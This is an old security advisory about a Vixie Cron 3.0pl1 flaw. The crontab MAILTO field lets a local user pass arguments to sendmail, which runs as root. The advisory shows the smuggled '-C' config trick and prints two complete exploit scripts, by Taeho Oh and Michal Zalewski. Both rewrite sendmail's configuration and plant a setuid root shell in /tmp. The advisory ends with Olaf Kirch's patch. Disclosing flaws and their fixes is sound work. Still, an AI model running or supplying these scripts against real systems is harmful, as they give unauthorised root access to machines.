COMMAND
Vixie Cron
SYSTEMS AFFECTED
Vixie Cron version 3.0pl1
PROBLEM
Martin Schulze found following. Red Hat has recently released a
Security Advisory covering a reverse denial of service bug in the
vixie cron package. As user you could restart sendmail even if
the host should not receive mail through the SMTP port. Further
investigation discovered that it was even worse. Vixie cron runs
as root at the time sending acknowledge mail to a user. Passing
arbitrary parameters to sendmail at this time leads into a
possible root exploit (like -C/tmp/myexploitsendmail.cf). Btw,
this issue is close with following one:
http://oliver.efri.hr/~crv/security/bugs/Linux/vixie4.html
The exploit has been developed by Olaf Kirch. Set the user's
crontab to
MAILTO=" -C/tmp/myexploitsendmail.cf"
* * * * * ls
In /tmp/myexploitsendmail.cf you basically modify the local
mailer:
O DefaultUser=root:root
Mlocal, P=/tmp/hackme, F=lsDFMAw5:/|@qXfmnz9, S=10/30, R=20/40, T=DNS/RFC822/X-Unix, A=mail.local -l
i.e. remove the S flag, and set DefaultUser.
Taeho Oh posted the exploit:
#!/bin/sh
# Vixie crontab exploit
#
# Local user can gain root access.
#
# Tested redhat linux : 4.2, 5.0, 5.1, 6.0
# Tested vixie crontab version : 3.0.1
#
# This program is only for demonstrative use only.
# USE IT AT YOUR OWN RISK!
#
# Programmed by Taeho Oh 1999/08/31
#
# Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
# PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
# PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
export PATH
echo
echo "Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara"
echo "PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus"
echo "PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug"
echo
echo make shell
echo
cat > /tmp/sh.c << EOF
#include <unistd.h>
#include <stdlib.h>
int main()
{
setuid(0);
setgid(0);
execl("/bin/sh","sh",0);
return 0;
}
EOF
echo compile shell
echo
cc -o /tmp/sh /tmp/sh.c || gcc -o /tmp/sh /tmp/sh.c
echo make execute shell script
echo
cat > /tmp/makesh << EOF
#!/bin/sh
chown root /tmp/sh
chgrp root /tmp/sh
chmod 4755 /tmp/sh
EOF
chmod 755 /tmp/makesh
echo hack sendmail.cf
echo
cp -f /etc/sendmail.cf /tmp/sendmail.cf.tmp1
sed 's/O DefaultUser=8:12/O DefaultUser=0:0/g' /tmp/sendmail.cf.tmp1 > /tmp/sendmail.cf
sed 's/P=\/usr\/bin\/procmail/P=\/tmp\/makesh/g' /tmp/sendmail.cf.tmp1 > /tmp/sendmail.cf.tmp2
sed 's/A=procmail/A=makesh/g' /tmp/sendmail.cf.tmp2 > /tmp/sendmail.cf.tmp3
cp /tmp/sendmail.cf.tmp3 /tmp/sendmail.cf
rm -f /tmp/sendmail.cf.tmp1
rm -f /tmp/sendmail.cf.tmp2
rm -f /tmp/sendmail.cf.tmp3
echo make cron file
echo
cat > /tmp/cronfile << EOF
MAILTO=-C/tmp/sendmail.cf `whoami`
* * * * * ls
EOF
echo input cron file
echo
crontab /tmp/cronfile
echo wait for 1 minute
echo
sec=`date +%S`
wait=`expr 65 - $sec`
sleep $wait
echo execute shell
echo
/tmp/sh
echo delete data files
echo
cd /tmp
rm -f sendmail.cf cronfile makesh sh.c
crontab /dev/null
Michal Zalewski added his version of exploit:
#!/bin/sh
clear
echo '------------------------------------------------------------------'
echo 'Marchew Hyperreal Industries <marchew@dione.ids.pl>'
echo 'Stumilowy Las Team <100milowy@gdynia.ids.pl>'
echo '---------------------------- presents ----------------------------'
echo
echo ' -= vixie-cron root sploit by Michal Zalewski <lcamtuf@ids.pl> =-'
echo
echo '[+] Checking dependencies:'
echo -n ' [*] vixie crontab: '
if [ -u /usr/bin/crontab -a -x /usr/bin/crontab ]; then
echo "OK"
else
echo "NOT FOUND!"
exit 1
fi
echo -n ' [*] Berkeley Sendmail: '
if [ -f /usr/sbin/sendmail ]; then
echo "OK"
else
echo "NOT FOUND!"
exit 1
fi
echo -n ' [*] gcc compiler: '
if [ -x /usr/bin/gcc ]; then
echo "OK"
else
echo "NOT FOUND!"
exit 1
fi
echo ' [?] Dependiences not verified:'
echo ' [*] proper version of vixie crontab'
echo ' [*] writable /tmp without noexec/nosuid option'
echo '[+] Exploit started.'
echo "[+] Setting up .cf file for sendmail..."
cat >/tmp/vixie-cf <<__eof__
V7/Berkeley
O QueueDirectory=/tmp
O DefaultUser=0:0
R$+ \$#local $: \$1 regular local names
Mlocal, P=/tmp/vixie-root, F=lsDFMAw5:/|@qSPfhn9, S=10/30, R=20/40,
T=DNS/RFC822/X-Unix,
A=vixie-root
__eof__
echo '[+] Setting up phase #1 tool (phase #2 tool compiler)...'
cat >/tmp/vixie-root <<__eof__
#!/bin/sh
gcc /tmp/vixie-own3d.c -o /tmp/vixie-own3d
chmod 6755 /tmp/vixie-own3d
__eof__
chmod 755 /tmp/vixie-root
echo '[+] Setting up phase #2 tool (rootshell launcher)...'
cat >/tmp/vixie-own3d.c <<__eof__
main() {
setuid(0);
setgid(0);
unlink("/tmp/vixie-own3d");
execl("/bin/sh","sh","-i",0);
}
__eof__
echo '[+] Putting evil crontab entry...'
crontab - <<__eof__
MAILTO='-C/tmp/vixie-cf dupek'
* * * * * nonexist
__eof__
echo '[+] Patience is a virtue... Wait up to 60 seconds.'
ILE=0
echo -n '[+] Tick.'
while [ $ILE -lt 50 ]; do
sleep 2
let ILE=ILE+1
test -f /tmp/vixie-own3d && ILE=1000
echo -n '.'
done
echo
echo '[+] Huh, done. Removing crontab entry...'
crontab -r
echo '[+] Removing helper files...'
rm -f /tmp/vixie-own3d.c /tmp/vixie-root /tmp/vixie-cf /tmp/df* /tmp/qf* &>/dev/null
echo '[*] And now...'
if [ -f /tmp/vixie-own3d ]; then
echo '[+] Entering root shell, babe :)'
echo
/tmp/vixie-own3d
echo
else
echo '[-] Oops, no root shell found, patched system or configuration problem :('
fi
echo '[*] Exploit done.'
SOLUTION
Olaf Kirch has developed the following patch that will send the
mail as user instead of root and removes the possibility to pass
arguments to the installed MTA. Fixed packages available:
Red Hat - already released
Caldera - in progress
Debian - in progress
Slackware - no Vixie cron, they use Dillen's Cron Daemon instead
Patch:
diff -ur cron-3.0pl1.orig/config.h cron-3.0pl1/config.h
--- cron-3.0pl1.orig/config.h Thu Aug 26 15:03:15 1999
+++ cron-3.0pl1/config.h Thu Aug 26 17:00:14 1999
@@ -42,11 +42,13 @@
*/
#define MAILCMD _PATH_SENDMAIL /*-*/
-#define MAILARGS "%s -FCronDaemon -odi -oem -or0s %s" /*-*/
+#define MAILARGS "%s -FCronDaemon -odi -oem %s" /*-*/
/* -Fx = set full-name of sender
* -odi = Option Deliverymode Interactive
* -oem = Option Errors Mailedtosender
* -or0s = Option Readtimeout -- don't time out
+ * XXX: sendmail doesn't allow -or0s when invoked
+ * by joe user. --okir
*/
/* #define MAILCMD "/bin/mail" /*-*/
diff -ur cron-3.0pl1.orig/cron.h cron-3.0pl1/cron.h
--- cron-3.0pl1.orig/cron.h Thu Aug 26 15:03:16 1999
+++ cron-3.0pl1/cron.h Thu Aug 26 16:45:07 1999
@@ -221,7 +221,7 @@
entry *load_entry __P((FILE *, void (*)(),
struct passwd *, char **));
-FILE *cron_popen __P((char *, char *));
+FILE *cron_popen __P((char *, char *, entry *));
/* in the C tradition, we only create
diff -ur cron-3.0pl1.orig/do_command.c cron-3.0pl1/do_command.c
--- cron-3.0pl1.orig/do_command.c Thu Aug 26 15:03:16 1999
+++ cron-3.0pl1/do_command.c Thu Aug 26 17:14:23 1999
@@ -95,6 +95,21 @@
usernm = env_get("LOGNAME", e->envp);
mailto = env_get("MAILTO", e->envp);
+ /* Check for arguments */
+ if (mailto) {
+ const char *end;
+
+ /* These chars have to match those cron_popen()
+ * uses to split the command string */
+ mailto += strspn(mailto, " \t\n");
+ end = mailto + strcspn(mailto, " \t\n");
+ if (*mailto == '-' || *end != '\0') {
+ printf("Bad Mailto karma.\n");
+ log_it("CRON",getpid(),"error","bad mailto");
+ mailto = NULL;
+ }
+ }
+
#ifdef USE_SIGCHLD
/* our parent is watching for our death by catching SIGCHLD. we
* do not care to watch for our children's deaths this way -- we
@@ -368,7 +383,7 @@
(void) gethostname(hostname, MAXHOSTNAMELEN);
(void) snprintf(mailcmd, sizeof(mailcmd),
MAILARGS, MAILCMD, mailto);
- if (!(mail = cron_popen(mailcmd, "w"))) {
+ if (!(mail = cron_popen(mailcmd, "w", e))) {
perror(MAILCMD);
(void) _exit(ERROR_EXIT);
}
diff -ur cron-3.0pl1.orig/popen.c cron-3.0pl1/popen.c
--- cron-3.0pl1.orig/popen.c Thu Aug 26 15:03:16 1999
+++ cron-3.0pl1/popen.c Thu Aug 26 17:01:24 1999
@@ -44,8 +44,9 @@
static int fds;
FILE *
-cron_popen(program, type)
+cron_popen(program, type, e)
char *program, *type;
+ entry *e;
{
register char *cp;
FILE *iop;
@@ -115,6 +116,14 @@
}
(void)close(pdes[1]);
}
+ /* Lose root privilege */
+ setgid(e->gid);
+# if defined(BSD) || defined(POSIX)
+ initgroups(env_get("LOGNAME", e->envp), e->gid);
+# endif
+ setuid(e->uid);
+ chdir(env_get("HOME", e->envp));
+
#if WANT_GLOBBING
execvp(gargv[0], gargv);
#else